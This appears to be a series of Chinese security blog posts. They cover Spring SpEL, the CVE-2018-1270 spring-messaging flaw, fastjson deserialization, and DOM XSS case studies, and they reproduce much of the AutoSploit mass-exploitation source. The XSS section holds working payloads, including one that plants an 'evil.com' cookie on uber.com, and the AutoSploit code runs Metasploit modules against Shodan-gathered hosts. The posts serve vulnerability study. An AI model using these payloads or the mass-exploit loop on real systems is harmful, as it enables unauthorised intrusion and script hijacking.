• Spring Expression Language(SpEL)

    0x00 简介

    SpEL(Spring Expression Language)是Spring提供的一种表达式语言

    能在运行时构建复杂表达式、存取对象图属性、对象方法调用等,并且能与Spring功能完美整合,如能用来配置Bean定义

    表达式语言给静态Java语言增加了动态功能

    0x01 表达式执行步骤

    SpEL求表达式值时的步骤

    1、构造一个解析器
        SpEL使用ExpressionParser接口表示解析器,提供SpelExpressionParser默认实现
    2、解析器解析字符串表达式
        使用ExpressionParser的parseExpression来解析相应的表达式为Expression对象
    3、构造上下文
        准备比如变量定义等等表达式需要的上下文数据
    4、根据上下文得到表达式运算后的值
        通过Expression接口的getValue方法根据上下文获得表达式值
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    ExpressionParser parser = new SpelExpressionParser(); (1)
    Expression exp = parser.parseExpression("'Hello World'"); (2)
    String message = (String) exp.getValue(); (4)


    ExpressionParser parser = new SpelExpressionParser(); (1)
    Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)"); (2)
    EvaluationContext context = new StandardEvaluationContext(); (3)
    context.setVariable("end", "!");
    Assert.assertEquals("Hello World!", expression.getValue(context)); (4)

    0x02 工作原理

    0x03 主要接口

    EvaluationContext

    表示上下文环境
    默认实现是org.springframework.expression.spel.support包中的StandardEvaluationContext类
    使用setRootObject方法来设置根对象,使用setVariable方法来注册自定义变量,使用registerFunction来注册自定义函数等

    下例表达式name表示对应EvaluationContext的rootObject的一个属性

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    public void EvaluationContextTest() {
    Object user = new Object() {
    public String getName() {
    return "abc";
    }
    };
    EvaluationContext context = new StandardEvaluationContext(user);
    ExpressionParser parser = new SpelExpressionParser();
    Assert.assertTrue(parser.parseExpression("name").getValue(context, String.class).equals("abc"));
    Assert.assertTrue(parser.parseExpression("getName()").getValue(context, String.class).equals("abc"));
    }

    ExpressionParser

    表示解析器
    默认实现是org.springframework.expression.spel.standard包中的SpelExpressionParser类,使用parseExpression方法将字符串表达式转换为Expression对象
    对于ParserContext接口用于定义字符串表达式是不是模板,及模板开始与结束字符

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    public interface ExpressionParser {    
    Expression parseExpression(String expressionString);
    Expression parseExpression(String expressionString, ParserContext context);
    }


    public void testParserContext() {
    ExpressionParser parser = new SpelExpressionParser();
    ParserContext parserContext = new ParserContext() {
    @Override
    public boolean isTemplate() {
    return true;
    }
    @Override
    public String getExpressionPrefix() {
    return "#{";
    }
    @Override
    public String getExpressionSuffix() {
    return "}";
    }
    };
    String template = "#{'Hello '}#{'World!'}";
    Expression expression = parser.parseExpression(template, parserContext);
    Assert.assertEquals("Hello World!", expression.getValue());
    }

    Expression

    表示表达式对象
    默认实现是org.springframework.expression.spel.standard包中的SpelExpression
    提供getValue方法用于获取表达式值,提供setValue方法用于设置对象值

    1
    2
    3
    4
    5
    ExpressionParser parser = new SpelExpressionParser();    (1)
    Expression expression = parser.parseExpression("('Hello' + ' World').concat(#end)"); (2)
    EvaluationContext context = new StandardEvaluationContext(); (3)
    context.setVariable("end", "!");
    Assert.assertEquals("Hello World!", expression.getValue(context)); (4)

    0x04 主要功能

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    Literal expressions

    Boolean and relational operators

    Regular expressions

    Class expressions

    Accessing properties, arrays, lists, maps

    Method invocation

    Relational operators

    Assignment

    Calling constructors

    Bean references

    Array construction

    Inline lists

    Ternary operator

    Variables

    User defined functions

    Collection projection

    Collection selection

    Templated expressions

    参考:
    https://docs.spring.io/spring/docs/3.0.x/reference/expressions.html
    https://blog.csdn.net/zhoudaxia/article/details/38174169
    https://github.com/elim168/elim168.github.io/blob/master/spring/bean/23.spel%E8%A1%A8%E8%BE%BE%E5%BC%8F.md

  • CVE-2018-1270 Remote Code Execution with spring-messaging

    CVE-2018-1270

    cve-2018-1270

    STOMP协议

    STOMP是一个简单的可互操作的协议, 被用于通过中间服务器在客户端之间进行异步消息传递。它定义了一种在客户端与服务端进行消息传递的文本格式.

    STOMP协议与HTTP协议很相似,它基于TCP协议,使用了以下命令:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    CONNECT
    SEND
    SUBSCRIBE
    UNSUBSCRIBE
    BEGIN
    COMMIT
    ABORT
    ACK
    NACK
    DISCONNECT

    STOMP的客户端和服务器之间的通信是通过“帧”(Frame)实现的,每个帧由多“行”(Line)组成。

    第一行包含了命令,然后紧跟键值对形式的Header内容。
    第二行必须是空行。
    第三行开始就是Body内容,末尾都以空字符结尾。
    

    STOMP的客户端和服务器之间的通信是通过MESSAGE帧、RECEIPT帧或ERROR帧实现的,它们的格式相似。

    客户端可以使用SEND命令来发送消息以及描述消息的内容,用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统,消息可以从客户端发送到服务器进行操作,服务器也可以推送消息到客户端。

    connect接受一个可选的headers参数用来标识附加的头部,默认情况下,如果没有在headers额外添加,这个库会默认构建一个独一无二的ID。用户定义的headers通常用于允许使用者在进行订阅帧中的selector来过滤基于应用程序定义的headers消息。

    分析补丁

    https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#diff-ca84ec52e20ebb2a3732c6c15f37d37a

    把StandardEvaluationContext换成了SimpleEvaluationContext

    使用了expression.getValue()猜测可能是SpEL表达式注入

    删除了StandardEvaluationContext引用,采用了SimpleEvaluationContext,StandardEvaluationContext可以执行任意SpEL表达式,Spring官方在5.0.5之后换用SimpleEvaluationContext,用于实现简单的数据绑定,保持灵活性减少安全隐患

    https://github.com/spring-projects/spring-framework/blob/v5.0.5.RELEASE/spring-expression/src/main/java/org/springframework/expression/spel/support/StandardEvaluationContext.java

    https://github.com/spring-projects/spring-framework/blob/v5.0.5.RELEASE/spring-expression/src/main/java/org/springframework/expression/spel/support/SimpleEvaluationContext.java

    漏洞分析

    在expression.getValue()处设置断点

    跳入继续可以看到命令被表达式处理后执行

    然后再从expression.getValue()向上查看调用链

    <—- filterSubscriptions(result, message) <—-return findSubscriptionsInternal(destination, message);(findSubscriptions) <—- this.subscriptionRegistry.findSubscriptions(message);(sendMessageToSubscribers)

    上游是sendMessageToSubscribers函数,send操作调用了getValue

    在this.subscriptionRegistry.findSubscriptions处设置断点,然后继续调试

    两层for循环把allMatches里的数据提取出来

    然后sub.getSelectorExpression取出Selector里的数据

    接着expression中的命令就被getValue触发执行了

    截止到这里,完成了从发送到执行的过程
    但是header是在connect阶段定义的

    先通过app.js添加header并构造执行语句

    在handleMessageInternal对消息进行处,跟踪header到了registerSubscription

    1
    addSubscriptionInternal(sessionId, subscriptionId, destination, message);

    继续往下跟又回到了messaging/simp/broker/DefaultSubscriptionRegistry.java

    可以看到header中的数据已经被赋予给selector

    此时的sessionId和subsId如下图,到此connect过程就完成了,当send message的时候,就会根据sessionId和subsId来获取selector

    下图就是send message操作,sessionId和subsId与上图一致

    模块代码略读


    http://www.cnblogs.com/davidwang456/p/4446796.html

    修复方案

    1
    2
    3
    5.0.x users should upgrade to 5.0.5
    4.3.x users should upgrade to 4.3.16
    Older versions should upgrade to a supported branch

    参考:
    https://pivotal.io/security/cve-2018-1270
    https://github.com/spring-projects/spring-framework/commit/e0de9126ed8cf25cf141d3e66420da94e350708a#diff-ca84ec52e20ebb2a3732c6c15f37d37a
    http://blog.nsfocus.net/spring-messaging-analysis/
    https://xz.aliyun.com/t/2252
    http://www.cnblogs.com/davidwang456/p/4446796.html
    https://segmentfault.com/a/1190000006617344
    https://cert.360.cn/warning/detail?id=3efa573a1116c8e6eed3b47f78723f12

  • 再看FastJson Unserialization漏洞

    0x01

    前言 这段时间反思了下,以前分析的那些框架级别漏洞,跟进一遍后就没有然后了,对漏洞的理解还是太浅,达不到举一反三的作用,再看一次fastjson

    0x02 跟进调用链

    JSON.parseObject


    JSON是一个抽象类,JSON中有一个静态方法parseObject(String text),将text解析为一个JSONObject对象并返回

    fastjson支持注册ObjectDeserializer实现自定义反序列化。要自定义序列化,首先需要实现一个ObjectDeserializer,然后注册到ParserConfig中

    key是@type并启用了SpecialKeyDetect

    把com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl加载为类

    看一下getDeserializer的实现

    过一遍denyList

    还有一些常见内置类

    均没有过滤之后通过createJavaBeanDeserializer来处理反序列化

    createJavaBeanDeserializer方法后边需要经过JavaBeanInfo.build的处理

    跟踪build方法

    会遍历传入类的方法、字段等,需要满足下边的条件才会被添加到fieldList中

    以set举例,还会以类似的规则处理get、field

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
            for (Method method : methods) { //
    int ordinal = 0, serialzeFeatures = 0, parserFeatures = 0;
    String methodName = method.getName();
    if (methodName.length() < 4) {
    //方法名长度大于4
    continue;
    }

    if (Modifier.isStatic(method.getModifiers())) {
    //是静态方法
    continue;
    }

    // support builder set
    if (!(method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {
    //返回类型需要是void类型或者是当前类型
    continue;
    }
    Class<?>[] types = method.getParameterTypes();
    if (types.length != 1) {
    //参数只能有一个
    continue;
    }

    JSONField annotation = method.getAnnotation(JSONField.class);

    if (annotation == null) {
    annotation = TypeUtils.getSuperMethodAnnotation(clazz, method);
    }

    if (annotation != null) {
    if (!annotation.deserialize()) {
    continue;
    }

    ordinal = annotation.ordinal();
    serialzeFeatures = SerializerFeature.of(annotation.serialzeFeatures());
    parserFeatures = Feature.of(annotation.parseFeatures());

    if (annotation.name().length() != 0) {
    String propertyName = annotation.name();
    add(fieldList, new FieldInfo(propertyName, method, null, clazz, type, ordinal, serialzeFeatures, parserFeatures,
    annotation, null, null));
    continue;
    }
    }

    if (!methodName.startsWith("set")) {
    //以set开头
    // TODO "set"的判断放在 JSONField 注解后面,意思是允许非 setter 方法标记 JSONField 注解?
    continue;
    }

    char c3 = methodName.charAt(3);

    String propertyName;
    if (Character.isUpperCase(c3) //
    || c3 > 512 // for unicode method name
    ) {
    if (TypeUtils.compatibleWithJavaBean) {
    propertyName = TypeUtils.decapitalize(methodName.substring(3));
    } else {
    propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);
    }
    } else if (c3 == '_') {
    propertyName = methodName.substring(4);
    //取_后字符做变量名,即第4个往后
    } else if (c3 == 'f') {
    propertyName = methodName.substring(3);
    //set往后,即第3个往后
    } else if (methodName.length() >= 5 && Character.isUpperCase(methodName.charAt(4))) {
    //长度大于5并且第5个字母大写
    propertyName = TypeUtils.decapitalize(methodName.substring(3));
    //取set后边字符并转为小写
    } else {
    continue;
    }

    .......
    add(fieldList, new FieldInfo(propertyName, method, field, clazz, type, ordinal, serialzeFeatures, parserFeatures,
    annotation, fieldAnnotation, null));
    }

    上边跟踪了下getDeserializer的实现

    接下来就是deserialze了

    遍历javabeaninfo中处理返回的fieldList

    遍历的过程会对相应的field进行getDeserializer处理
    然后通过parseField进行反序列化

    跟进parseField看一下实现,它的作用应该就是实现“定制序列化”这个特性

    parseField里调用了smartMatch方法,这个漏洞很关键的一个点
    这也就是遍历到_outputProperties时执行getOutputProperties()的症结所在

    可以看到parseField调用了setValue

    跟进一下setValue可以看到method就是getOutputProperties()
    既然是这样,那么很明显的是要利用getOutputProperties()来执行恶意代码

    关于getOutputProperties()的执行链可以看上一篇分析https://blog.langu.xyz/%20FastJsonUnserialization.html

    0x03 构造POC和执行的根本原因

    上一篇基本已经提及了https://blog.langu.xyz/%20FastJsonUnserialization.html

    很精妙的一个漏洞,环环相扣

    这个gadget更是各种巧合,只要有任意一个点限制,就不能利用成功

    若json字符串中包含@type字段,会按照@type指定的类进行反序列化

    在修复版本中会默认忽略该字段,若数据中有@type字段,会抛出autoType is not support错误

    同时修复版本中允许通过配置白名单的形式来提供对特定类反序列化的支持

    1、调用链
        1、为什么会走到这一步
        2、关键方法是什么
        3、特性是什么
        4、继承自哪里
    
    2、最后是如何执行的
        1、根本原因/本质是什么
        
    3、如果是自己,该怎么挖出这个漏洞
    
    4、再构造一次poc
        1、构造要点
        2、所需条件
    

    参考:
    https://github.com/alibaba/fastjson/wiki/
    http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/
    https://ricterz.me/posts/Fastjson%20Unserialize%20Vulnerability%20Write%20Up
    http://5alt.me/2017/09/fastjson%E8%B0%83%E8%AF%95%E5%88%A9%E7%94%A8%E8%AE%B0%E5%BD%95/

  • JavaScript源码分析漏洞挖掘

    1. script标签的src触发xss

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
        <script>
    function setInnerText(element, value) {
    if (element.innerText) {
    element.innerText = value;
    } else {
    element.textContent = value;
    }
    }
    function includeGadget(url) {
    var scriptEl = document.createElement('script');
    // This will totally prevent us from loading evil URLs!
    if (url.match(/^https?:\/\//)) {
    //通过大小写等绕过正则检测
    setInnerText(document.getElementById("log"),
    "Sorry, cannot load a URL containing \"http\".");
    return;
    }
    // Load this awesome gadget
    scriptEl.src = url;
    // Show log messages
    scriptEl.onload = function() {
    setInnerText(document.getElementById("log"),
    "Loaded gadget from " + url);
    }
    scriptEl.onerror = function() {
    setInnerText(document.getElementById("log"),
    "Couldn't load gadget from " + url);
    }
    document.head.appendChild(scriptEl);
    //<script src="data:text/javascript,alert('1')"></script>
    }
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() {
    //获取或设置页面的标签值并进行跳转
    return window.location.hash.substr(1) || "/static/gadget.js";
    //data:text/javascript,alert('1')
    }
    includeGadget(getGadgetName());
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
    if (event.source == parent) {
    includeGadget(getGadgetName());
    }
    }, false);
    </script>
    </head>
    <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
    </body>
    </html>

    POC:

    1、data:text/javascript,alert('1')
    2、Https://google.com/jsapi?callback=alert(1)

    思考:
    待分析

    2.正则匹配资源文件导致XSS

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    (function() {
    var k = document.createElement('script'); // 创建script标签
    k.type = 'text/javascript';
    k.async = true;
    k.setAttribute("data-id", u.pubid);
    k.className = "kxct";
    k.setAttribute("data-version", "1.9");

    // 从location.href参数中读取kxsrc
    var m, src = (m = location.href.match(/\bkxsrc=([^&]+)/)) && decodeURIComponent(m[1]);

    // 检查kxsrc参数的值是否满足正则,如果满足则加载,否则加载默认的JS文件
    k.src = /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test(src) ? src : src === "disable" ? "" : (location.protocol === "https:" ? "https:" : "http:") + "//cdn.krxd.net/controltag?confid=" + u.pubid;
    var s = document.getElementsByTagName('script')[0];
    s.parentNode.insertBefore(k, s);
    })();

    POC:

    1
    /^https?:\/\/([a-z0-9-.]+.)?krxd.net(:\d{1,5})?\/controltag\//i.test('https://a.bkrxd.net/controltag/evil.js')

    FIXED:

    1
    /^https?:\/\/([a-z0-9-\.]+\.)?krxd\.net(:\d{1,5})?\/controltag\//i.test('https://krxd.net/controltag/evil.js')

    思考:

    遇到用户可控的输入,尝试绕过正则

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    idrCall: function() {
    var a, b;
    return this.idrCallPending ? void 0 : (this.log("making idr call"),
    a = this.rfiServer ? this.rfiServer : "a.rfihub.com",
    b = this.getProtocol() + "//" + a + "/idr.js",
    this.jsonpGet(b, {}, this.idrCallback, "cmZpSWRJbkNhY2hl"),
    this.idrCallPending = !0)
    },
    1
    2
    a = this.readCookie("_rfiServer"),
    null != a && this.setRfiServer(a),

    POC:

    1、CLRF注入
    2、subdomain xss 写入cookie

    1
    2
    3
    https://<redacted>.test.com/<redacted>?
    email=aaa"%20type%3d"image"%20src%3d1%20o>nerror%3d"eval(decodeURIComponent(location.hash.substr(1)))
    #document.cookie='_rfiServer=evil.com;domain=.uber.com;expires=Sat, 27 Jan 2999 01:43:57 GMT;path=/';location.href="https://get.test.com";

    Tips:

    1、如果输出在标签内且没有过滤”,可使用类似payloadtype="image" src="1" onerror="alert(1)"
    2、过滤<>时,正好可以利用其绕过xss auditor,oner<ror

    思考:

    首先观察是否是动态生成的,如果是,观察是否直接可控,如果否,思考如果构造攻击链间接控制

    Hijack the JS File of the third part CDN

    code:

    1
    https://tags.tiqcdn.com/utag/uber/main/prod/utag.js

    POC:

    1、第三方CDN,允许个人上传
    2、上传个人js观察路径/data/utui/data/accounts/evilaccount/templates/main/201804081230/utag.js和目标路径/data/utui/data/accounts/uber/templates/main/utag.js
    3、寻找路径穿越漏洞,构造payload201804081230/../../../../<victimaccount>/templates/main
    4、/data/utui/data/accounts/evilaccount/templates/main/201804081230/../../../../<victimaccount>/templates/main/utag.js == /data/utui/data/accounts/<victimaccount>/templates/main/utag.js

    思路:

    遇到使用第三方的资源,思考下能不能控制它

    事件接受参数时控制事件触发xss

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <!doctype html>
    <html>
    <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    <script>
    function startTimer(seconds) {
    seconds = parseInt(seconds) || 3;
    setTimeout(function() {
    window.confirm("Time is up!");
    window.history.back();
    }, seconds * 1000);
    }
    </script>
    </head>
    <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
    <br>
    <div id="message">Your timer will execute in {{ timer }} seconds.</div>
    </body>
    </html>

    POC:

    1、');alert('1

    2、<img src="/static/loading.gif" onload="startTimer('{{ ');alert('1 }}');" />

    思路:

    观察可控点的位置,如果为tag中,尝试bypass,优先解析value

    href tag xss

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    <!doctype html>
    <html>
    <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
    </head>
    <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">
    <br><br>
    <a href="{{ next }}">Next >></a>
    </body>
    </html>

    POC:

    1、javascript:alert(1)
    2、<a href="javascript:alert(1)">Next >></a>

    思考:

    积累javascript:alert(1)知识点,可控的地方一定有xss

    URL拼接导致的dom xss

    code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    //Checking for potential Lever source or origin parameters
    var pageUrl = window.location.href;
    var leverParameter = '';
    var trackingPrefix = '?lever-'

    if( pageUrl.indexOf(trackingPrefix) >= 0){
    // Found Lever parameter
    var pageUrlSplit = pageUrl.split(trackingPrefix);
    leverParameter = '?lever-'+pageUrlSplit[1];
    }
    var link = posting.hostedUrl+leverParameter;

    jQuery('#jobs-container .jobs-list').append(
    '<div class="job '+teamCleanString+' '+locationCleanString.replace(',', '')+' '+commitmentCleanString+'">' +
    '<a class="job-title" href="'+link+'"">'+title+'</a>' +
    '<p class="tags"><span>'+team+'</span><span>'+location+'</span><span>'+commitment+'</span></p>' +
    '<p class="description">'+shortDescription+'</p>' +
    '<a class="btn" href="'+link+'">Learn more</a>' +
    '</div>'

    );

    POC:
    1、https://www.test.com/careers?lever-#aaa"><script src="data:text/javascript,alert('1')"></script>

  • AutoSploit的简单分析

    https://github.com/NullArray/AutoSploit

    简单看了下这个工具的源码,核心的关键代码分为两部分

    • 第一部分:通过shadon获取目标IP
    1
    api = shodan.Shodan(SHODAN_API_KEY)
    1
    result = api.search(query)
    1
    2
    3
    4
    5
    6
    7
    if clobber == True:
    with open('hosts.txt', 'wb') as log:
    for i in xrange(toolbar_width):
    time.sleep(0.1)
    for service in result['matches']:
    log.write(service['ip_str'])
    log.write("\n")
    • 第二部分:通过MSF攻击目标IP
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    if choice == 's':
    with open("hosts.txt", "rb") as host_list:
    for rhosts in host_list:
    for exploit in sorted_modules:
    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
    workspace, local_host, local_port, rhosts, exploit)
    os.system(template)
    elif choice == 'a':
    with open("hosts.txt", "rb") as host_list:
    for rhosts in host_list:
    for exploit in all_modules:
    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
    workspace, local_host, local_port, rhosts, exploit)
    os.system(template)
    else:
    print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu"

    这个工具这样看起来并不复杂,但更重要的是学习作者的思路,利用简单的代码快速将常见的独立的工具结合起来,各取所长,实现快速自动化操作

    全部代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    #!/usr/bin/env python2.7

    import os
    import sys
    import pickle
    import time

    from subprocess import PIPE, Popen

    import shodan
    from blessings import Terminal

    t = Terminal()

    # Global vars
    api = ""
    query = ""
    workspace = ""
    local_port = ""
    local_host = ""
    configured = False
    toolbar_width = 60


    # Logo
    def logo():
    print t.cyan("""
    _____ _ _____ _ _ _
    #--Author : Vector/NullArray | _ |_ _| |_ ___| __|___| |___|_| |_
    #--Twitter: @Real__Vector | | | | _| . |__ | . | | . | | _|
    #--Type : Mass Exploiter |__|__|___|_| |___|_____| _|_|___|_|_|
    #--Version: 1.0.0 |_|
    ##############################################
    """)


    # Usage and legal.
    def usage():
    os.system("clear")
    logo()
    print """
    +-----------------------------------------------------------------------+
    | AutoSploit General Usage and Information |
    +-----------------------------------------------------------------------+
    |As the name suggests AutoSploit attempts to automate the exploitation |
    |of remote hosts. Targets are collected by employing the Shodan.io API. |
    | |
    |The 'Gather Hosts' option will open a dialog from which you can |
    |enter platform specific search queries such as 'Apache' or 'IIS'. |
    |Upon doing so a list of candidates will be retrieved and saved to |
    |hosts.txt in the current working directory. |
    |After this operation has been completed the 'Exploit' option will |
    |go about the business of attempting to exploit these targets by |
    |running a range of Metasploit modules against them. |
    | |
    |Workspace, local host and local port for MSF facilitated |
    |back connections are configured through the dialog that comes up |
    |before the 'Exploit' module is started. |
    | |
    +------------------+----------------------------------------------------+
    | Option | Summary |
    +------------------+----------------------------------------------------+
    |1. Usage | Display this informational message. |
    |2. Gather Hosts | Query Shodan for a list of platform specific IPs. |
    |3. View Hosts | Print gathered IPs/RHOSTS. |
    |4. Exploit | Configure MSF and Start exploiting gathered targets|
    |5. Quit | Exits AutoSploit. |
    +------------------+----------------------------------------------------+
    | Legal Disclaimer |
    +-----------------------------------------------------------------------+
    | Usage of AutoSploit for attacking targets without prior mutual consent|
    | is illegal. It is the end user's responsibility to obey all applicable|
    | local, state and federal laws. Developers assume no liability and are |
    | not responsible for any misuse or damage caused by this program! |
    +-----------------------------------------------------------------------+
    """


    # Function that allows us to store system command
    # output in a variable
    def cmdline(command):
    process = Popen(
    args=command,
    stdout=PIPE,
    shell=True
    )
    return process.communicate()[0]


    def exploit(query):
    global workspace
    global local_port
    global local_host

    os.system("clear")
    logo()

    sorted_modules = []
    all_modules = []

    print "[" + t.green("+") + "]Sorting modules relevant to the specified platform."
    print "[" + t.green("+") + "]This may take a while...\n\n\n"

    # Progress bar
    sys.stdout.write("[%s]" % (" " * toolbar_width))
    sys.stdout.flush()
    sys.stdout.write("\b" * (toolbar_width + 1))

    with open("modules.txt", "rb") as infile:
    for i in xrange(toolbar_width):
    time.sleep(0.1)
    for lines in infile:
    all_modules.append(lines)
    if query in lines:
    sorted_modules.append(lines)

    # update the bar
    sys.stdout.write('\033[94m' + "|" + '\033[0m')
    sys.stdout.flush()

    print "\n\n\n[" + t.green("+") + "]AutoSploit sorted the following MSF modules based search query relevance.\n"
    # Print out the sorted modules
    for line in sorted_modules:
    print "[" + t.cyan("-") + "]" + line

    # We'll give the user the option to run all modules in a 'hail mary' type of attack or allow
    # a more directed approach with the sorted modules.
    choice = raw_input("\n[" + t.magenta("?") + "]Run sorted or all modules against targets? [S]orted/[A]ll: ").lower()

    if choice == 's':
    with open("hosts.txt", "rb") as host_list:
    for rhosts in host_list:
    for exploit in sorted_modules:
    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
    workspace, local_host, local_port, rhosts, exploit)
    os.system(template)
    elif choice == 'a':
    with open("hosts.txt", "rb") as host_list:
    for rhosts in host_list:
    for exploit in all_modules:
    template = "sudo msfconsole -x 'workspace -a %s; setg LHOST %s; setg LPORT %s; setg VERBOSE true; setg THREADS 100; set RHOSTS %s; %s'" % (
    workspace, local_host, local_port, rhosts, exploit)
    os.system(template)
    else:
    print "[" + t.red("!") + "]Unhandled Option. Defaulting to Main Menu"


    # Function to gather target hosts from Shodan
    def targets(clobber=True):
    global query

    os.system("clear")
    logo()

    print "[" + t.green("+") + "]Please provide your platform specific search query."
    print "[" + t.green("+") + "]I.E. 'IIS' will return a list of IPs belonging to IIS servers."

    while True:
    query = raw_input("\n<" + t.cyan("PLATFORM") + ">$ ")

    if query == "":
    print "[" + t.red("!") + "]Query cannot be null."
    else:
    break

    print "[" + t.green("+") + "]Please stand by while results are being collected...\n\n\n"
    time.sleep(1)

    try:
    result = api.search(query)
    except Exception as e:
    print "\n[" + t.red("!") + "]Critical. An error was raised with the following error message.\n"
    print e

    sys.exit(0)

    # Setup progress bar
    sys.stdout.write("[%s]" % (" " * toolbar_width))
    sys.stdout.flush()
    sys.stdout.write("\b" * (toolbar_width + 1))

    if clobber == True:
    with open('hosts.txt', 'wb') as log:
    for i in xrange(toolbar_width):
    time.sleep(0.1)
    for service in result['matches']:
    log.write(service['ip_str'])
    log.write("\n")

    # update the bar
    sys.stdout.write('\033[94m' + "|" + '\033[0m')
    sys.stdout.flush()

